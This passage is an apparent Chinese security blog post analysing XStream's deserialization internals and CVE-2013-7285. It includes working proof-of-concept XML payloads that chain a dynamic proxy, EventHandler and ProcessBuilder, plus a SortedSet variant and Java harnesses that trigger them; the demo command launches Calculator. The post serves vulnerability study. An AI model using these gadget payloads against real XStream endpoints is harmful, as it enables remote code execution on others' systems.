添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

会按照时间线逐个梳理。

基本API操作:

1
2
3
4
5
6
XStream xStream = new XStream();
Person person = new Person("peter",18);
// object to xml
String xml = xStream.toXML(person);
// xml to object
Object o = xStream.fromXML(xml);

重要组件

XStream类图,参考 XStream 源码解析

通过mapper获取对象对应的类、成员、Field属性的Class对象,赋值给XML的标签字段。

Converter

XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。

Converter的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。

简单地说,Xstream的思路是通过不同的converter来处理序列化数据中不同类型的数据。

Converter需要实现3个方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;
  • marshal方法:能够将对象转换为XML时候的具体操作;
  • unmarshal方法:能够将XML转换为对象时的具体操作;
  • http://x-stream.github.io/converters.html

    这里告诉了我们针对各种对象XStream做了哪些支持。

    XStream编组/解组具体过程

    XStream : 1.4.6

    fromXML

    xml->obj 先看如何反序列化出来的:

    第一步:把String转化成StringReader,HierarchicalStreamDriver通过StringReader创建HierarchicalStreamReader,最后调用MarshallingStrategy的unmarshal方法开始解组

    第二步:进入start方法,开始解析:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    public Object start(DataHolder dataHolder) {
    this.dataHolder = dataHolder;
    //通过Mapper获取对应节点的Class对象
    Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);
    //Converter根据Class的类型转化成java对象
    Object result = this.convertAnother((Object)null, type);
    Iterator validations = this.validationList.iterator();

    while(validations.hasNext()) {
    Runnable runnable = (Runnable)validations.next();
    runnable.run();
    }

    return result;
    }

    先看readClassType里面做了什么事情:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    public static Class readClassType(HierarchicalStreamReader reader, Mapper mapper) {
    String classAttribute = readClassAttribute(reader, mapper);
    Class type;
    if (classAttribute == null) {
    // 通过节点名获取Mapper中对应的Class对象
    type = mapper.realClass(reader.getNodeName());
    } else {
    type = mapper.realClass(classAttribute);
    }
    //返回值type就是obj对应的Class对象
    return type;
    }

    第三步 : convertAnother 方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    public Object convertAnother(Object parent, Class type, Converter converter) {
    //根据mapper获取type类对象的正确类型
    type = this.mapper.defaultImplementationOf(type);
    if (converter == null) {
    //根据type找到对应的converter
    converter = this.converterLookup.lookupConverterForType(type);
    } else if (!converter.canConvert(type)) {
    ConversionException e = new ConversionException("Explicit selected converter cannot handle type");
    e.add("item-type", type.getName());
    e.add("converter-type", converter.getClass().getName());
    throw e;
    }

    return this.convert(parent, type, converter);
    }

    注意这里参数parent,converter默认都是null

    如何查找对应的converter?

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    public Converter lookupConverterForType(Class type) {
    //先从缓存集合中查找Converter
    Converter cachedConverter = (Converter)this.typeToConverterMap.get(type);
    if (cachedConverter != null) {
    return cachedConverter;
    } else {// 如果缓存中没有,那么就在converter中寻找
    Iterator iterator = this.converters.iterator();

    Converter converter;
    // 遍历converters找到符合的Converter
    do {
    if (!iterator.hasNext()) {
    throw new ConversionException("No converter specified for " + type);
    }

    converter = (Converter)iterator.next();
    } while(!converter.canConvert(type));
    // 把这次找到的放在缓存集合中
    this.typeToConverterMap.put(type, converter);
    return converter;
    }
    }

    现在来到 return this.convert(parent, type, converter); 这句

    会到 com.thoughtworks.xstream.core.TreeUnmarshaller#convert 这里:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    protected Object convert(Object parent, Class type, Converter converter) {
    try {
    this.types.push(type);
    // 会进入这里
    Object result = converter.unmarshal(this.reader, this);
    this.types.popSilently();
    return result;
    } catch (ConversionException var6) {
    this.addInformationTo(var6, type, converter, parent);
    throw var6;
    } catch (RuntimeException var7) {
    ConversionException conversionException = new ConversionException(var7);
    this.addInformationTo(conversionException, type, converter, parent);
    throw conversionException;
    }
    }
    1
    2
    3
    4
    5
    6
    7
    public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    // 构造Class类对象的instance实例,field没有赋值,都是默认值
    Object result = this.instantiateNewInstance(reader, context);
    // 对result的field赋值
    result = this.doUnmarshal(result, reader, context);
    return this.serializationMethodInvoker.callReadResolve(result);
    }

    有趣的Converter

    Xstream在处理实现了Serializable接口和没有实现Serializable接口的类生成的对象时, 方法是不一样 的。

    Xstream的思路是在反序列化时,通过不同的converter来处理不同类型的数据。

    最外层的没有实现Serializable接口的类时用的是ReflectionConverter,该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值。

    如果是处理实现了Serializable接口并且重写了readObject方法的对象时使用的是SerializableConverter,并且readObject方法也会被调用。

    CVE-2013-7285

    影响范围:

  • XStream version <= 1.4.6 & XStream version = 1.4.10
  • 漏洞成因

    动态代理

    经典老番 动态代理那些事

    EventHandler

    EventHandler也是实现了 InvocationHandler 接口的类

    EventHandler用来监控接口中的方法被调用后执行EventHandler中成员变量指定的方法。

    注意两个属性:target , action

    看个小例子:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    interface HelloService {
    void goodMorning();
    void goodEvening();
    }

    class HelloImpl implements HelloService {
    @Override
    public void goodMorning() {
    System.out.println("Good Morning!");
    }

    @Override
    public void goodEvening() {
    System.out.println("Good Evening!");
    }
    }
    public class Tester {
    public static void main(String[] args) {
    HelloService hello = new HelloImpl();
    EventHandler start = new EventHandler(new ProcessBuilder("open","/Applications/Calculator.app"), "start", null, null);
    HelloService o = (HelloService)Proxy.newProxyInstance(hello.getClass().getClassLoader(), hello.getClass().getInterfaces(), start);
    o.goodMorning();
    }
    }

    经典老番,计算器弹出:

    跟一下是怎么走的:

  • EventHandler.invoke():
  • EventHandler.invokeInternal():

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    private Object invokeInternal(Object proxy, Method method, Object[] arguments) {
    String methodName = method.getName();
    if (method.getDeclaringClass() == Object.class) {
    // Handle the Object public methods.
    // 这里首先查看被调用的方法是不是hashCode、equals、toString
    if (methodName.equals("hashCode")) {
    return new Integer(System.identityHashCode(proxy));
    } else if (methodName.equals("equals")) {
    return (proxy == arguments[0] ? Boolean.TRUE : Boolean.FALSE);
    } else if (methodName.equals("toString")) {
    return proxy.getClass().getName() + '@' + Integer.toHexString(proxy.hashCode());
    }
    }

    if (listenerMethodName == null || listenerMethodName.equals(methodName)) {
    Class[] argTypes = null;
    Object[] newArgs = null;

    if (eventPropertyName == null) { // Nullary method.
    newArgs = new Object[]{};
    argTypes = new Class<?>[]{};
    }
    else {
    Object input = applyGetters(arguments[0], getEventPropertyName());
    newArgs = new Object[]{input};
    argTypes = new Class<?>[]{input == null ? null :
    input.getClass()};
    }
    try {
    int lastDot = action.lastIndexOf('.');
    if (lastDot != -1) {
    target = applyGetters(target, action.substring(0, lastDot));
    action = action.substring(lastDot + 1);
    }
    Method targetMethod = Statement.getMethod(
    target.getClass(), action, argTypes);
    if (targetMethod == null) {
    targetMethod = Statement.getMethod(target.getClass(),
    "set" + NameGenerator.capitalize(action), argTypes);
    }
    if (targetMethod == null) {
    String argTypeString = (argTypes.length == 0)
    ? " with no arguments"
    : " with argument " + argTypes[0];
    throw new RuntimeException(
    "No method called " + action + " on " +
    target.getClass() + argTypeString);
    }
    // 在这里通过反射调用方法
    return MethodUtil.invoke(targetMethod, target, newArgs);
    }
    catch (IllegalAccessException ex) {
    throw new RuntimeException(ex);
    }
    catch (InvocationTargetException ex) {
    Throwable th = ex.getTargetException();
    throw (th instanceof RuntimeException)
    ? (RuntimeException) th
    : new RuntimeException(th);
    }
    }
    return null;
    }
  • MethodUtil.invoke(targetMethod, target, newArgs)形成了方法调用:

    在这个例子里面:

    targetMethod:ProcessBuilder.start()方法 (action参数)

    target:构造好带有恶意命令的ProcessBuilder对象

    在这里被invoke触发了

    targetMethod哪里来的?就是一开始的action参数

    1
    Method targetMethod = Statement.getMethod(target.getClass(), action, argTypes);

    看看Converter里面如何解析动态代理对象

    DynamicProxyConverter

    如图,xml对应的标签就是 <dynamic-proxy> ,这其中:

    <interface> 标签就是被代理的接口

    <handler> 标签表示InvocationHandler实例

    按照官网的这个例子:

    dynamic-proxy标签在XStream反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah或com.foo.Woo这两个接口类中声明的方法时(即interface标签内指定的接口类),就会调用handler标签中的类方法com.foo.MyHandler。

    PoC

    基于接口

    这种也是官网钦定的PoC,interfece字段随便选择一个public接口就行:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <dynamic-proxy>
    <interface>com.thoughtworks.xstream.io.HierarchicalStreamReader</interface>
    <handler class="java.beans.EventHandler">
    <target class="java.lang.ProcessBuilder">
    <command>
    <string>open</string>
    <string>/Applications/Calculator.app</string>
    </command>
    </target>
    <action>start</action>
    </handler>
    </dynamic-proxy>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    public class Interface_Exploit {

    public static void main(String[] args) throws FileNotFoundException {
    FileInputStream payload = XStreamUtils.getPayload("CVE_2013_7285_Interface");
    XStream xStream = new XStream();
    HierarchicalStreamReader obj = (HierarchicalStreamReader)xStream.fromXML(payload);
    obj.hasMoreChildren();
    }
    }

    这里我为了省事,选的是 com.thoughtworks.xstream.io.HierarchicalStreamReader 接口+它内部的 hasMoreChildren 无参方法。

    调试就是上面EventHandler那部分,这种方式结合了动态代理。

    基于SortedSet

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <sorted-set>
    <string>test</string>
    <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
    <target class="java.lang.ProcessBuilder">
    <command>
    <string>open</string>
    <string>/Applications/Calculator.app</string>
    </command>
    </target>
    <action>start</action>
    </handler>
    </dynamic-proxy>
    </sorted-set>
    1
    2
    3
    4
    5
    6
    7
    public class SortedSet_Exploit {
    public static void main(String[] args) throws FileNotFoundException {
    FileInputStream payload = XStreamUtils.getPayload("CVE_2013_7285_SortedSet");
    XStream xStream = new XStream();
    xStream.fromXML(payload);
    }
    }

    fromXML跟进去,到 com.thoughtworks.xstream.core.TreeUnmarshaller#start ,这里代表开始解析xml还原obj:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    public Object start(DataHolder dataHolder) {
    this.dataHolder = dataHolder;
    // 通过mapper获取对应节点的Class对象
    Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);
    //Converter根据Class的类型转化成java对象
    Object result = this.convertAnother((Object)null, type);
    Iterator validations = this.validationList.iterator();

    while(validations.hasNext()) {
    Runnable runnable = (Runnable)validations.next();
    runnable.run();
    }

    return result;
    }

    这里我们先进 readClassType

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    public static Class readClassType(HierarchicalStreamReader reader, Mapper mapper) {
    String classAttribute = readClassAttribute(reader, mapper);
    Class type;
    if (classAttribute == null) {
    // 通过节点名获取Mapper中对应的Class对象
    type = mapper.realClass(reader.getNodeName());
    } else {
    type = mapper.realClass(classAttribute);
    }

    return type;
    }

    先进入 readClassAttribute 方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    public static String readClassAttribute(HierarchicalStreamReader reader, Mapper mapper) {
    // 尝试在xml里获取resolves-to和class标签
    String attributeName = mapper.aliasForSystemAttribute("resolves-to");
    String classAttribute = attributeName == null ? null : reader.getAttribute(attributeName);
    if (classAttribute == null) {
    attributeName = mapper.aliasForSystemAttribute("class");
    if (attributeName != null) {
    classAttribute = reader.getAttribute(attributeName);
    }
    }
    return classAttribute;
    }

    这里返回为空,继续来看到 com.thoughtworks.xstream.core.util.HierarchicalStreams#readClass 方法

    获取当前节点的名称,并进行返回对应的class对象。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    public Class realClass(String elementName) {
    Object cached = this.realClassCache.get(elementName);
    if (cached != null) {
    if (cached instanceof Class) {
    return (Class)cached;
    } else {
    throw (CannotResolveClassException)cached;
    }
    } else {
    try {
    Class result = super.realClass(elementName);
    //找到别名应的类,存储到realClassCache中,并且进行返回。
    this.realClassCache.put(elementName, result);
    return result;
    } catch (CannotResolveClassException var4) {
    this.realClassCache.put(elementName, var4);
    throw var4;
    }
    }
    }

    回到start方法中:该执行 Object result = this.convertAnother((Object)null, type); 这里:

    进入this.convertAnother方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    public Object convertAnother(Object parent, Class type, Converter converter) {
    //根据mapper获取type实现类
    type = this.mapper.defaultImplementationOf(type);
    if (converter == null) {
    //根据type找到对应的converter
    converter = this.converterLookup.lookupConverterForType(type);
    } else if (!converter.canConvert(type)) {
    ConversionException e = new ConversionException("Explicit selected converter cannot handle type");
    e.add("item-type", type.getName());
    e.add("converter-type", converter.getClass().getName());
    throw e;
    }
    //把type转化成对应的object
    return this.convert(parent, type, converter);
    }

    先看 defaultImplementationOf 方法:

    看到他返回的是 java.util.TreeSet 的类对象,也就是type的结果

    接下来根据type找到对应的converter,也就进入 lookupConverterForType 方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    public Converter lookupConverterForType(Class type) {
    //先查询缓存的类型对应的转换器集合
    Converter cachedConverter = (Converter)this.typeToConverterMap.get(type);
    if (cachedConverter != null) {
    //如果在缓存中找得到,就返回找到的缓存转换器
    return cachedConverter;
    } else {
    Iterator iterator = this.converters.iterator();

    Converter converter;
    // 开始遍历,知道找到可以转换TreeSet类型的Converter
    do {
    if (!iterator.hasNext()) {
    throw new ConversionException("No converter specified for " + type);
    }
    converter = (Converter)iterator.next();
    } while(!converter.canConvert(type));
    // 找到之后就放在缓存中
    this.typeToConverterMap.put(type, converter);
    // 将匹配的converter返回
    return converter;
    }
    }

    进入 convert 方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    protected Object convert(Object parent, Class type, Converter converter) {
    Object result;
    if (this.parentStack.size() > 0) {
    result = this.parentStack.peek();
    if (result != null && !this.values.containsKey(result)) {
    this.values.put(result, parent);
    }
    }

    //获取reference标签的内容
    String attributeName = this.getMapper().aliasForSystemAttribute("reference");
    String reference = attributeName == null ? null : this.reader.getAttribute(attributeName);
    Object cache;
    if (reference != null) {
    cache = this.values.get(this.getReferenceKey(reference));
    if (cache == null) {
    ConversionException ex = new ConversionException("Invalid reference");
    ex.add("reference", reference);
    throw ex;
    }

    result = cache == NULL ? null : cache;
    } else {
    //如果reference字段内容为空就到这里,获取当前标签
    cache = this.getCurrentReferenceKey();
    this.parentStack.push(cache);
    result = super.convert(parent, type, converter);
    if (cache != null) {
    this.values.put(cache, result == null ? NULL : result);
    }

    this.parentStack.popSilently();
    }

    return result;
    }

    来到这里:

    1
    Object result = converter.unmarshal(this.reader, this);

    通过匹配获取到的converter,调用 unmarshal 方法,进行xml解析:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48

    public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    TreeSet result = null;
    //判断是否存在comparator,如果不存在,则返回NullComparator对象。
    Comparator unmarshalledComparator = this.treeMapConverter.unmarshalComparator(reader, context, (TreeMap)null);
    boolean inFirstElement = unmarshalledComparator instanceof Null;
    Comparator comparator = inFirstElement ? null : unmarshalledComparator;
    TreeMap treeMap;
    if (sortedMapField != null) {
    // possibleResult也是创建的是一个空的TreeSet对象。而后则是一些赋值,就没必要一一去看了。
    TreeSet possibleResult = comparator == null ? new TreeSet() : new TreeSet(comparator);
    Object backingMap = null;

    try {
    backingMap = sortedMapField.get(possibleResult);
    } catch (IllegalAccessException var11) {
    throw new ConversionException("Cannot get backing map of TreeSet", var11);
    }

    if (backingMap instanceof TreeMap) {
    treeMap = (TreeMap)backingMap;
    result = possibleResult;
    } else {
    treeMap = null;
    }
    } else {
    treeMap = null;
    }

    if (treeMap == null) {
    PresortedSet set = new PresortedSet(comparator);
    result = comparator == null ? new TreeSet() : new TreeSet(comparator);
    if (inFirstElement) {
    this.addCurrentElementToCollection(reader, context, result, set);
    reader.moveUp();
    }

    this.populateCollection(reader, context, result, set);
    if (set.size() > 0) {
    result.addAll(set);
    }
    } else {
    //重点部分来了!!!
    this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
    }

    return result;
    }
    1
    this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);

    进入90行的 putCurrentEntryIntoMap

    方法内的target参数就是sortedMap,可以看到这里读取标签内的内容并缓存到target这个Map中。

    返回上一级方法:

    继续往下,来到 populateMap 方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, final Map target) {
    TreeSetConverter.this.populateCollection(reader, context, new AbstractList() {
    public boolean add(Object object) {
    return target.put(object, object) != null;
    }

    public Object get(int location) {
    return null;
    }

    public int size() {
    return target.size();
    }
    });
    }

    解读:这里就是调用 populateCollection 用来循环遍历子标签中的元素并添加到集合中。

    继续跟,来到这里:

    进入 addCurrentElementToCollection 方法:

    再进入 readItem 方法:

    这里readItem做的事情和前面的一样:

    依然还是继续读取标签内容,并且获取转换成对应的类,最后将类添加到target中。

    由于我们的payload是一个动态代理类,会来到 com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal 这里:

    这里的hander就是我们传入的EventHandler,相当于被包装成了动态代理类proxy,proxy返回。

    一路返回,在 com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap 这里proxy被触发:

    总结几个关键步骤:

  • TreeUnmarshaller#start开始解析xml
  • HierarchicalStreams#readClassType通过标签获取Mapper中对应的Class对象
  • TreeUnmarshaller#convertAnother将Class对象转换为对应的Java对象
  •